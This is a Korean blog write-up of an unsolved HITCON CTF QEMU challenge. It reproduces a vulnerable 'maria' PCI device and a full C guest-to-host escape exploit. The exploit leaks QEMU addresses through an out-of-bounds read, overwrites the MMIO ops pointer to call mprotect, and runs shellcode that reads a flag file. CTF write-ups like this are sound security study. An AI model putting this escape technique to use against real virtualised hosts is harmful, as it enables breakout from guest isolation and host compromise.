HITCON CTF에 참가해서 팀 Purity로 19등이라는 성적을 얻었고, 그 때 못 푼 문제의 대한 write-up을 작성해보려고 한다.
#include "hw/hw.h"
#include "hw/pci/msi.h"
#include "hw/pci/pci.h"
#include "qapi/visitor.h"
#include "qemu/main-loop.h"
#include "qemu/module.h"
#include "qemu/osdep.h"
#include "qom/object.h"
#define TYPE_PCI_MARIA_DEVICE "maria"
#define MARIA_MMIO_SIZE 0x10000
#define BUFF_SIZE 0x2000
typedef struct {
PCIDevice pdev;
struct {
uint64_t src;
uint8_t off;
} state;
char buff[BUFF_SIZE];
MemoryRegion mmio;
} MariaState;
DECLARE_INSTANCE_CHECKER(MariaState, MARIA, TYPE_PCI_MARIA_DEVICE)
static uint64_t maria_mmio_read(void *opaque, hwaddr addr, unsigned size) {
MariaState *maria = (MariaState *)opaque;
uint64_t val = 0;
switch (addr) {
case 0x00:
cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 1); // state.src에 전달
val = 0x600DC0DE;
break;
case 0x04:
val = maria->state.src;
break;
case 0x08:
val = maria->state.off;
break;
default:
val = 0xDEADC0DE;
break;
}
return val;
}
static void maria_mmio_write(void *opaque, hwaddlr addr, uint64_t val, unsigned size) {
MariaState *maria = (MariaState *)opaque;
switch (addr) {
case 0x00:
cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 0); // stare.src => maria->state.off
break;
case 0x04:
maria->state.src = val;
break;
case 0x08:
maria->state.off = val;
break;
default:
break;
}
}
static const MemoryRegionOps maria_mmio_ops = {
.read = maria_mmio_read,
.write = maria_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
.valid = {
.min_access_size = 4,
.max_access_size = 4,
},
.impl = {
.min_access_size = 4,
.max_access_size = 4,
},
};
static void pci_maria_realize(PCIDevice *pdev, Error **errp) {
MariaState *maria = MARIA(pdev);
memory_region_init_io(&maria->mmio, OBJECT(maria), &maria_mmio_ops, maria, "maria-mmio", MARIA_MMIO_SIZE);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &maria->mmio);
}
static void maria_instance_init(Object *obj) {
MariaState *maria = MARIA(obj);
memset(&maria->state, 0, sizeof(maria->state));
memset(maria->buff, 0, sizeof(maria->buff));
}
static void maria_class_init(ObjectClass *class, void *data) {
DeviceClass *dc = DEVICE_CLASS(class);
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);
k->realize = pci_maria_realize;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0xDEAD;
k->revision = 0x0;
k->class_id = PCI_CLASS_OTHERS;
set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}
static void pci_maria_register_types(void) {
static InterfaceInfo interfaces[] = {
{ INTERFACE_CONVENTIONAL_PCI_DEVICE },
{ },
};
static const TypeInfo maria_info = {
.name = TYPE_PCI_MARIA_DEVICE,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(MariaState),
.instance_init = maria_instance_init,
.class_init = maria_class_init,
.interfaces = interfaces,
};
type_register_static(&maria_info);
}
type_init(pci_maria_register_types)
코드는 위와 같다. qemu 문제는 처음이라 관련 write-up 을 뒤져가면서 함수를 어떻게 호출해야 하는지 공부했다.
간략하게 말하면 두 가지 방식이 존재하는데, 첫 번째로 MMIO를 통해서 메모리를 레지스터처럼 쓰는 방법을 이용해서 일정 오프셋을 넣어주면 그 오프셋에 해당하는 함수가 실행된다.
두 번째로 in out 과 같이 디바이스에서 열어놓은 포트를 통해 통신하여 데이터를 I/O 해주는 방법이 있다.
이 문제에선 MMIO 방식으로 데이터를 I/O 하기 때문에, 일정한 오프셋을 더해서 원하는 기능을 호출해주면 된다.
통신하는 방법은 여러가지 있는데, 가장 많이 쓰는 방법은 /sys/devices/pci0000:00/0000:00:??.0/resource0 파일을 open 해주면, 이 때 반환된 파일 디스크립터를 통해 디바이스 메모리에 접근할 수 있다. 이제 이걸 통해서 공격을 수행하면 된다.
여기서 알아야 할 함수는 cpu_physical_memory_rw 이다. 첫 번째 인자는 qemu 외부에서 실제 주소가 들어가고, (physical memory) 두 번쨰 인자는 qemu 내부에서 사용하는 주소들이 들어간다. 세 번째 인자는 입/출력을 할 버퍼의 길이를 지정해주고, 네 번째에선 모드를 지정한다.
네 번째 인자가 0이면 write를 하게 되면서, maria->buff[maria->state.off]에 있는 내용을 BUFF_SIZE 만큼 maria->state.src에 넣게된다.
네 번째 인자가 1이면 read를 하게 되면서, maria->state.src에 있는 내용을 BUFF_SIZE 만큼 maria->buff[maria->state.off] 에 복사하게 된다.
여기서 가장 먼저 발생할 수 있는 취약점은, 언뜻보면 maria->off가 uint8_t type으로, 0xff 까지만 쓸 수 있으니 oob가 안 나지 않을까 하고 생각할 수 있는데, off가 0xff까지만 사용할 수 있더라도, BUFF_SIZE는 무조건 0x2000을 사용하기 때문에, read를 사용하면 buff 뒤에 있는 값들까지 모두 읽을 수 있고, 이는 중요한 정보를 많이 담고 있기에 크리티컬하다.
read를 이용해서 maria->buff[maria->state.off] 를 0x2000 만큼 maria->state.src에 전달하면 된다. 근데 이때 state.src는 physical address로 전달해야해서 이런걸 변환해주는 함수를 찾아서 템플릿으로 넣어두고 사용하면 된다. 대회 때 여기서 디게 많이 헷갈렸는데, physical address 로 전달하게 되면 알아서 내부에서 virtual address로 바뀌어서 우리가 아는 주소에 실제 값들이 들어가게 된다. 이게 엄청 헷갈려서 몇 시간 잡아먹었음. 기초 운영체제 지식같은데 기초가 중요한 것 같다.
그러면 이제 qemu base 주소와, maria 주소를 알아서 write 함수를 이용해 fake maria state struct를 만들어 주면되는데, 이 때 사용하는 흔한 벡터가 mmio 내부엔 ops 라고 해서 함수포인터들을 저장해놓은 포인터가 존재한다. 이 때 fake vtable 을 만들어서 이 포인터의 주소를 ops에 덮어주면 우리가 원하는 함수포인터들을 사용할 수 있다.
보통 ROP를 이용하여 푸는데 익스코드를 보니까 디게 복잡했다. 그래서 다른 풀이를 봤는데 mprotect를 이용해서 간단하게 RWX 권한을 메모리에 줄 수 있고 해당 주소를 실행해서 플래그를 읽을 수 있다.
깃헙에서 solve 코멘트를 보면, 버퍼 크기가 0x1000이라 딱 PAGE_SIZE로, 그 이후에 배치되는 주소들이 다른 가상주소에 배치될 수도 있다. 그래서 이를 방지하기 위해서 Huge Pages 라는게 존재하는데 이는 다음 사이트 참고. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/performance_tuning_guide/s-memory-transhuge
익스플로잇 코드에 지금까지 설명한 모든 것이 담겨있다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>
#include <assert.h>
#include <sys/stat.h>
#define MARIA_MMIO_READ_SRC 0x04
#define MARIA_MMIO_READ_OFF 0x08
#define MARAI_MMIO_READ_TRIG 0x00
#define MARIA_MMIO_WRITE_SRC 0x04
#define MARIA_MMIO_WRITE_OFF 0x08
#define MAIRA_MMIO_WRITE_TRIG 0x00
#define PAGE_SIZE 0x1000
void die(const char* msg) {
perror(msg);
exit(1);
}
uint32_t read_magic(void* mem) {
return *(uint32_t *)((void*)mem);
}
void* map_device(int fd) {
void* mem;
mem = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
if(mem == MAP_FAILED)
die("mmap");
return mem;
}
void unmap_device(void* mem) {
munmap((void*)mem, MAP_SIZE);
}
void write_src(void* mem, uint32_t src) {
*(uint32_t *)((void *)mem + MARIA_MMIO_WRITE_SRC) = src;
}
void write_off(void* mem, uint8_t off) {
*(uint32_t *)((void *)mem + MARIA_MMIO_WRITE_OFF) = off;
}
uint32_t read_src(void* mem) {
return *(uint32_t *)((void *)mem + MARIA_MMIO_READ_SRC);
}
uint32_t read_off(void* mem) {
return *(uint32_t *)((void *)mem + MARIA_MMIO_READ_OFF);
}
void write_trigger(void* mem, uint32_t value) {
*(uint32_t *)((void *)mem) = value;
}
uint32_t read_trigger(void* mem) {
return *(uint32_t *)((void *)mem);
}
void* map_buf() {
void* out;
out = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(out == MAP_FAILED)
die("mmap");
memset((void*)out, 0, 4096);
return out;
}
void read_from_buf(void* mem, uint64_t local_phys, uint8_t off) {
write_src(mem, local_phys);
write_off(mem, off);
read_trigger(mem);
}
uint64_t virt2phys(void* addr) {
uint64_t page = 0;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "[!] open error in gva2gpa\n");
exit(1);
}
lseek(fd, ((uint64_t)addr / PAGE_SIZE) * 8, SEEK_SET);
read(fd, &page, 8);
return ((page & 0x7fffffffffffff) * PAGE_SIZE) | ((uint64_t)addr & 0xfff);
}
void exploit(void* mem) {
char* buf;
uint64_t buf_phys;
while(1) {
buf = mmap(0, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_NONBLOCK, -1, 0);
if(buf < 0)
die("mmap");
memset(buf, 0, 2 * PAGE_SIZE);
buf_phys = virt2phys(buf);
uint64_t buf_phys_1000 = virt2phys(buf + PAGE_SIZE);
if(buf_phys + PAGE_SIZE == buf_phys_1000)
break;
}
write_src(mem, buf_phys);
write_off(mem, 0xf0);
read_trigger(mem);
uint64_t *buff_u64 = (uint64_t *)buf;
for(int i = 0; i < 0x400; i++) {
printf("%ld : 0x%lx\n", i, buff_u64[i]);
}
uint64_t maria_buff_addr = buff_u64[0x3fa] - 0x20b8;
uint64_t maria_addr = maria_buff_addr - 0xa30;
uint64_t qemu_base = buff_u64[0x3eb] - 0xf1ff80;
uint64_t mprotect_plt = qemu_base + 0x30c400;
printf("maria_buff_addr : %p\n", maria_buff_addr);
printf("maria_addr : %p\n", maria_addr);
printf("qemu_base : %p\n", qemu_base);
printf("buff_u64 : %p\n", buff_u64);
buff_u64[0x0] = maria_buff_addr + 0x4f0;
//buff_u64[0x0] = 0xdeadbeefcafebabe;
buff_u64[0x1] = mprotect_plt;
/* shellcode */
char shellcode[] = {
0xeb, 0x10, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72,
0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x6a, 0x02, 0x58, 0x48, 0x8d, 0x3d,
0xe6, 0xff, 0xff, 0xff, 0x31, 0xf6, 0x0f, 0x05, 0x48, 0x97, 0x31, 0xc0,
0x54, 0x5e, 0x6a, 0x70, 0x5a, 0x0f, 0x05, 0x48, 0x92, 0x6a, 0x01, 0x58,
0x6a, 0x01, 0x5f, 0x54, 0x5e, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x6a, 0x3c,
0x58, 0x0f, 0x05
};
memcpy(&buff_u64[0x80], shellcode, sizeof(shellcode));
buff_u64[0x3ec] = maria_buff_addr & ~0xfff;
buff_u64[0x3eb] = maria_buff_addr + 0xf0;
buff_u64[0x3eb - (maria_addr & 0xfff)/8] = maria_buff_addr + 0xf0;
write_src(mem, buf_phys);
write_off(mem, 0xf0);
write_trigger(mem, 0x0);
write_trigger(mem + 0x2000, 0x7);
read_trigger(mem);
}
int main(int argc, char *argv[]) {
int fd;
void* mem;
uint32_t magic;
fd= open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
if(fd < 0)
die("open");
mem = map_device(fd);
system("sysctl vm.nr_hugepages=32");
system("cat /proc/meminfo | grep -i huge");
exploit(mem);
unmap_device(mem);
close(fd);
return 0;
}
'CTF' 카테고리의 다른 글
SECCON 2023 - selfcet (pwn) (0) | 2023.09.17 |
---|---|
CTF 풀거 (0) | 2023.09.14 |
SECCON 2022 - babyfile (pwn) (0) | 2023.09.14 |
SECCON 2022 - koncha (pwn) (0) | 2023.09.13 |